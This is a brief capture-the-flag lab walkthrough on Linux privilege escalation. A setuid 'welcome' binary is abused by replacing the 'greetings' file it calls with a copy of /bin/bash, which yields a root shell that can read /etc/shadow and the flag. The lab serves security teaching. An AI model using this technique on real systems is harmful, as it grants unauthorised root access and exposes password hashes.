1️⃣1⃣ 1⃣ Exploiting Setuid Programs
Vulnerable setuid programs on Linux systems could lead to privilege escalation attacks.In this lab, you are provided a regular user account and need to escalate your privileges to become root. There are 2 programs in your home directory welcome and greetings which might be vulnerable.
Your mission:
Get as root shell on the system
View /etc/shadow
Retrieve the flag.
Note: Development tools e.g. gcc is installed on the system already.
Check for Setuid bit
ls -laCheck for strings in welcome binary
strings welcomeTry to overwrite greetings binary with /bin/bash
cp /bin/bash greetingsRemove greetings binary
rm greetingsCopy bash to current directory with name "greetings"
cp /bin/bash greetingsExecute the welcome binary
./welcomeRetrieve the flag
cd /root/
cat flagLast updated
Was this helpful?